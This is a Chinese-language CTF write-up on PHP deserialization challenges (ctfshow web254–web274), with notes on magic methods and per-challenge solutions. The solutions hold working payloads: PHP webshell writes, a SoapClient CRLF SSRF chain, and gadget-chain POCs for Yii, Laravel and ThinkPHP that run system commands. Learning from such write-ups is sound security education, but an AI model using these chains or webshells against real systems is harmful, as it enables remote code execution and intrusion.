Skip to main content

反序列化

参考博客

https://www.wlhhlc.top/posts/33757/

https://rainy-autumn.top/archives/584

php魔术方法

__construct(),类的构造函数

__destruct(),类的析构函数

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),获得一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()empty()时调用

__unset(),当对不可访问属性调用unset()时被调用。

__sleep(),执行serialize()时,先会调用这个函数

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

访问控制修饰符(public、protected、private)不同时,序列化后的结果也不同.

public          被序列化的时候属性名 不会更改
protected 被序列化的时候属性名 会变成 %00*%00属性名
private 被序列化的时候属性名 会变成 %00类名%00属性名
1、__get、__set

这两个方法是为在类和他们的父类中没有声明的属性而设计的

__get( $property ) 当调用一个未定义的属性时访问此方法
__set( $property, $value ) 给一个未定义的属性赋值时调用
这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)

2、__isset、__unset

__isset( $property ) 当在一个未定义的属性上调用isset()函数时调用此方法
__unset( $property ) 当在一个未定义的属性上调用unset()函数时调用此方法
与__get方法和__set方法相同,这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)
3、__call

__call( $method, $arg_array ) 当调用一个未定义(包括没有权限访问)的方法是调用此方法

4、__autoload

__autoload 函数,使用尚未被定义的类时自动调用。通过此函数,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。

注意: 在 __autoload 函数中抛出的异常不能被 catch 语句块捕获并导致致命错误。

5、__construct、__destruct

__construct 构造方法,当一个对象被创建时调用此方法,好处是可以使构造方法有一个独一无二的名称,无论它所在的类的名称是什么,这样你在改变类的名称时,就不需要改变构造方法的名称
__destruct 析构方法,PHP将在对象被销毁前(即从内存中清除前)调用这个方法
默认情况下,PHP仅仅释放对象属性所占用的内存并销毁对象相关的资源.,析构函数允许你在使用一个对象之后执行任意代码来清除内存,当PHP决定你的脚本不再与对象相关时,析构函数将被调用.,在一个函数的命名空间内,这会发生在函数return的时候,对于全局变量,这发生于脚本结束的时候,如果你想明确地销毁一个对象,你可以给指向该对象的变量分配任何其它值,通常将变量赋值勤为NULL或者调用unset

6、__clone

PHP5中的对象赋值是使用的引用赋值,使用clone方法复制一个对象时,对象会自动调用__clone魔术方法,如果在对象复制需要执行某些初始化操作,可以在__clone方法实现。

7、__toString

__toString方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时,如果类没有实现此方法,则无法通过echo打印对象,否则会显示:Catchable fatal error: Object of class test could not be converted to string in,此方法必须返回一个字符串。

PHP 5.2.0之前,__toString方法只有结合使用echo()print()时 才能生效。PHP 5.2.0之后,则可以在任何字符串环境生效(例如通过printf(),使用%s修饰符),但 不能用于非字符串环境(如使用%d修饰符)。从PHP 5.2.0,如果将一个未定义__toString方法的对象 转换为字符串,会报出一个E_RECOVERABLE_ERROR错误。

8、__sleep、__wakeup

__sleep 串行化的时候用
__wakeup 反串行化的时候调用
serialize() 检查类中是否有魔术名称 __sleep 的函数。如果这样,该函数将在任何序列化之前运行。它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。

使用 __sleep 的目的是关闭对象可能具有的任何数据库连接,提交等待中的数据或进行类似的清除任务。此外,如果有非常大的对象而并不需要完全储存下来时此函数也很有用。

相反地,unserialize() 检查具有魔术名称 __wakeup 的函数的存在。如果存在,此函数可以重建对象可能具有的任何资源。使用 __wakeup 的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。

9、__set_state

当调用var_export()时,这个静态 方法会被调用(自PHP 5.1.0起有效)。本方法的唯一参数是一个数组,其中包含按array(’property’ => value,)格式排列的类属性。

10、__invoke

当尝试以调用函数的方式调用一个对象时,__invoke 方法会被自动调用。PHP5.3.0以上版本有效
11、__callStatic

它的工作方式类似于 __call() 魔术方法,__callStatic() 是为了处理静态方法调用,PHP5.3.0以上版本有效,PHP 确实加强了对 __callStatic() 方法的定义;它必须是公共的,并且必须被声明为静态的。同样,__call() 魔术方法必须被定义为公共的,所有其他魔术方法都必须如此。

web254

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

这里和反序列化没有什么关系,直接传username=xxxxxx&password=xxxxxx即可

如果要分析,这里就是先new实例化ctfShowUser这个类,如何把username和password参传入调用类中的login方法。如果username和password和类中的相等,类中的isVip就为True,为True进入check就为True,于是拿到flag。

web255

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

可以看到,这里在之前的基础上多了个反序列化,是$user = unserialize($_COOKIE['user']);

而且login中少了$this->isVip=true;因此要想办法把isVip给弄成true就是咱的目的

然后可以发现$user是我们自己通过COOKIE['user']来传,意思是会对这个user进行反序列化。这是一个漏洞点,即通过这个传一个序列化后的字符串,通过反序列化来达到isVip=True

这里新建一个php文件,来进行序列化

<?php
class ctfShowUser
{
public $username = 'xxxxxx';
public $password = 'xxxxxx';
public $isVip = true;
}
$a = new ctfShowUser();
echo serialize($a);

?>

输出

O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}

注意要urlencode

O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

image-20220112171029904

web256

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

注意到,在此前的基础上,只是多加了一个username!==password

那么只需要在反序列化的时候改一下就行

<?php
class ctfShowUser
{
public $username = 'mumuzi';
public $password = '0.38';
public $isVip = true;
}
$a = new ctfShowUser();
echo serialize($a);

?>

image-20220112171432106

然后注意传参的username和password记得改

web257

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

新的知识点了,我不会,去看看师傅们的

首先反序列化的时候会实例化info类

public function __construct(){
$this->class=new info();
}

其次在摧毁的时候会调用getInfo方法

    public function __destruct(){
$this->class->getInfo();
}

很明显,这里getInfo方法是在info类当中的。

而我们要做到的是调用backDoor中的getInfo类,因为这个类有eval可以让我们命令执行

因此在脚本中,将

private $class = 'info';

public function __construct(){
$this->class=new info();
}

改成

private $class = 'backDoor';

public function __construct(){
$this->class=new backDoor();
}

再去反序列化,岂不是就能达到目的

<?php
class ctfShowUser
{
private $class = 'backDoor';

public function __construct(){
$this->class=new backDoor();
}
}

class backDoor{
private $code = 'system("tac flag.php");';
}
$a = new ctfShowUser();
echo urlencode(serialize($a));

?>

输出

O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D

web258

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

只是在刚刚的基础上过滤了一下

image-20220112173149996

使用O:+代替O:

还有个改动是private $code变成了public $code、还有public $class

<?php
class ctfShowUser
{
public $class = 'backDoor';

public function __construct(){
$this->class=new backDoor();
}
}

class backDoor{
public $code = 'system("tac flag.php");';

}

$a = new ctfShowUser();
$a = serialize($a);
$a = str_replace("O:","O:+",$a);
echo urlencode($a);
?>

输出

O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D

*web259

#index.php 
<?php

highlight_file(__FILE__);

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();


Notice: Undefined index: vip in /var/www/html/index.php on line 6

Fatal error: Uncaught Error: Call to a member function getFlag() on bool in /var/www/html/index.php:8 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 8
#flag.php
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

?>

完全不懂的说

参考:https://zhuanlan.zhihu.com/p/80918004

看懂之后就能知道,使用SoapClient反序列化+CRLF可以生成任意POST请求

Deserialization + __call + SoapClient + CRLF = SSRF

看完回到题目,ssrf去访问flag.php,POST传token==ctfshow,xff 127.0.0.1

注意xff部分,将X-Forwarded-For按照,分为数组,接着pop第一个元素,用的是第二个元素来作为ip

$ua="ctfshow\nX-Forwarded-For:127.0.0.1,127.0.0.1"

然后构造post

$ua="ctfshow\nX-Forwarded-For:127.0.0.1,127.0.0.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length:13\n\ntoken=ctfshow";

这里注意到length=13,即token=ctfshow,这样在取的时候就不会取到后面的部分

<?php

$ua="ctfshow\nX-Forwarded-For:127.0.0.1,127.0.0.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length:13\n\ntoken=ctfshow";
$client = new SoapClient(NULL,array('uri'=>"http://127.0.0.1","location"=>"http://127.0.0.1/flag.php","user_agent"=>$ua));

echo urlencode(serialize($client));

得到

O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A16%3A%22http%3A%2F%2F127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A124%3A%22ctfshow%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0AContent-Length%3A13%0A%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

传vip=,然后会生成flag.txt,访问即可

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}

意思就是ctfshow序列化之后有/ctfshow_i_love_36D/

直接传就可以了

ctfshow=/ctfshow_i_love_36D/

web261

<?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}

unserialize($_GET['vip']);

注意到public function __invoke()中有一个eval,那个肯定是我们想要得到的

其次,在__destruct()中有一个文件写入的过程,将password写入到username中

然后可以注意到里面有个__unserialize

查询可知

如果 __unserialize() 和 __wakeup()两个魔术方法都定义在用一个对象中, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

所以不用担心下面这个

public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}

$this->code==0x36d是个弱比较,code是username和password拼接得到的,取数字部分

0x36d的10进制是877

<?php

class ctfshowvip{
public $username = "877.php";
public $password = '<?php @eval($_GET[1]);?>';
}

$a = new ctfshowvip();
echo urlencode(serialize($a));

?>

运行得到

O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+%40eval%28%24_GET%5B1%5D%29%3B%3F%3E%22%3B%7D

运行之后访问马即可,flag在/flag_is_here

web262

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}

highlight_file(__FILE__);

没看懂要怎么做,看师傅们wp去了

卧槽,注释里面居然藏了个message.php。访问

<?php

highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

如果把user变成admin,就可以拿到flag

考点:反序列化字符串逃逸

首先看一段代码

<?php
class test{
public $username = "user";
public $password = "user";
}
$a = new test();
$b = serialize($a);
var_dump($b);

运行结果为

string(67) "O:4:"test":2:{s:8:"username";s:4:"user";s:8:"password";s:4:"user";}"

如果构造user中的内容

"O:4:"test":2:{s:8:"username";s:4:"user";s:8:"password";s:4:"hack";}user";}"

运行以下

$a = 'O:4:"test":2:{s:8:"username";s:4:"user";s:8:"password";s:4:"hack";}user";}';
var_dump(unserialize($a));

输出

object(__PHP_Incomplete_Class)#1 (3) {
["__PHP_Incomplete_Class_Name"]=>
string(4) "test"
["username"]=>
string(4) "user"
["password"]=>
string(4) "hack"
}

可以发现,之前的user user变成了user hack

再看题目,会将fuck变成loveU,可以控制的从4位变成了5位

而需要构造的是

";s:5:"token";s:5:"admin";}

而长度为27位

所以需要27个fuck来获得多出来的可控制位

?f=123&m=123&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问/message.php

web263

是一个登录界面,源码发现

function check(){
$.ajax({
url:'check.php',
type: 'GET',
data:{
'u':$('#u').val(),
'pass':$('#pass').val()
},
success:function(data){
alert(JSON.parse(data).msg);
},
error:function(data){
alert(JSON.parse(data).msg);
}

});
}

然后不会了,结果是www.zip泄漏 下载源码

#index.php关键代码
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}

#inc.php
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}

这里看wp,cookie中的limit进行base64解码之后传入session中,之后调用inc中的User类,并且其中这个User类中存在文件写入函数,所以写入一句话。

<?php
class User{
public $username = 'ma.php';
public $password = '<?php system("tac flag.php");?>';
public $status='ma';

}
$a=new User();
echo base64_encode('|'.serialize($a));

?>

运行得到

fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo2OiJtYS5waHAiO3M6ODoicGFzc3dvcmQiO3M6MzE6Ijw/cGhwIHN5c3RlbSgidGFjIGZsYWcucGhwIik7Pz4iO3M6Njoic3RhdHVzIjtzOjI6Im1hIjt9

带着cookie去访问index.php,接着访问inc/inc.php,然后就会生成文件log-ma.php

于是写一个jio本

import requests
url = "http://2dc87006-9efb-4bef-bab2-e81dc0e7bbea.challenge.ctf.show/"
cookies = {"PHPSESSID": "a1keltr210l16p88sqdrrqrprj", "limit": "fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo2OiJtYS5waHAiO3M6ODoicGFzc3dvcmQiO3M6MzE6Ijw/cGhwIHN5c3RlbSgidGFjIGZsYWcucGhwIik7Pz4iO3M6Njoic3RhdHVzIjtzOjI6Im1hIjt9"}
res1 = requests.get(url + "index.php", cookies=cookies)

res2 = requests.get(url + "inc/inc.php", cookies=cookies)

res3 = requests.get(url + "log-ma.php", cookies=cookies)
print(res3.text)

web264


error_reporting(0);
session_start();

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}

highlight_file(__FILE__);

然后message.php

<?php
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

看了一下,和web262相比在message.php中多了句开头的session_start();

就用之前的payload打,只不过在访问message.php的时候要使msg有值

不知道为啥我chrome的hackbar传了之后报错

image-20220112184133120

web265

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
echo $flag;
}

要使得拿flag判断为真,就需要token===password

这里token又是强等于,且md5随机数

现在能想到的是 想办法使token等于一个可控的数,或者使得password等于token

看了下wp,解题方法是让token也指向password指向的。也就是C语言中所描述的指针,即token指向password指向的"地址",而不是password的值

在php中,用$a=$b;即可

所以构造出exp

<?php
class ctfshowAdmin{
public $token;
public $password;
}
$a = new ctfshowAdmin();
$a ->token=&$a ->password;
echo urlencode(serialize($a));
?ctfshow=O%3A12%3A"ctfshowAdmin"%3A2%3A{s%3A5%3A"token"%3BN%3Bs%3A8%3A"password"%3BR%3A2%3B}

web266

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: [email protected]
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}

注意到有个魔术方法

public function __destruct(){
global $flag;
echo $flag;
}

那只需要绕过ctfshow就可以拿到在销毁时拿到flag

然后file_get_contents("php://input")可以获取非enctype="multipart/form-data"提交过来的数据

因为username本来就等于password,所以不用管

<?php
class ctfshow{
}
$a = serialize(new ctfshow());
echo $a;
?>

得到

O:7:"ctfshow":0:{}

注意到正则那里没有/i来匹配大写,于是将ctfshow改成CTFSHOW

然后我用火狐和chrome怎么发包都不行,于是乎还是打开了bp

image-20220113132236197

*web267

是一个网站首页

image-20220113132415830

为啥我感觉和终极考核第二台靶机那么像啊

首先试了下弱口令登录,发现登录成功,账密 admin/admin

然后看网络,在访问about和contact的时候get的参为?r=site/about 和 ?r=site/contact

然后看源代码,看见一个?view-source注释

然后访问

?r=site%2Fabout&view-source

回显一个

///backdoor/shell
unserialize(base64_decode($_GET['code']))

然后看wp,说是yii反序列化,好像真和终极考核一样?

对于yii反序列化,看https://rainy-autumn.top/archives/677

backdoor/shell为路由,code为参数

利用CVE-2020-15148来获得flag

<?php

namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'cat /flag';
}
}
}
namespace Faker {

use yii\rest\IndexAction;

class Generator
{
protected $formatters;

public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{

use Faker\Generator;

class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{

use yii\db\BatchQueryResult;

echo base64_encode(serialize(new BatchQueryResult()));
}
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czo5OiJjYXQgL2ZsYWciO31pOjE7czozOiJydW4iO319fX0=

web268

换个姿势

我用的是上面提到的那篇文章,最后的一个poc

还是改成passthru cat /flags即可

web269

还有姿势

方法同上

web270

这个姿势完毕后,应该还有,择机放出

方法同上

web271

<?php

/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <[email protected]>
*/

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

考的是laravel5.7反序列化漏洞,https://rainy-autumn.top/archives/733、https://blog.csdn.net/rfrder/article/details/113826483

POC

<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;

public function __construct($command, $parameters,$class,$app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}

namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}


namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;

public function __construct($bind){
$this->bindings=$bind;
}
}
}

namespace{
echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('cat /flag'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
}
?>

web272-273

换个姿势laravel5.8反序列化漏洞

<?php
namespace PhpParser\Node\Scalar\MagicConst{
class Line {}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;

public function __construct($config, $code)
{
$this->config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php passthru('cat /f*');exit;?>");
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}
?>

web274

进去是ThinkPHP V5.1

升到java17 打不开ThinkPHP.V2.3利用工具了qwq。。。

thinkphp 5.1反序列化漏洞

<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
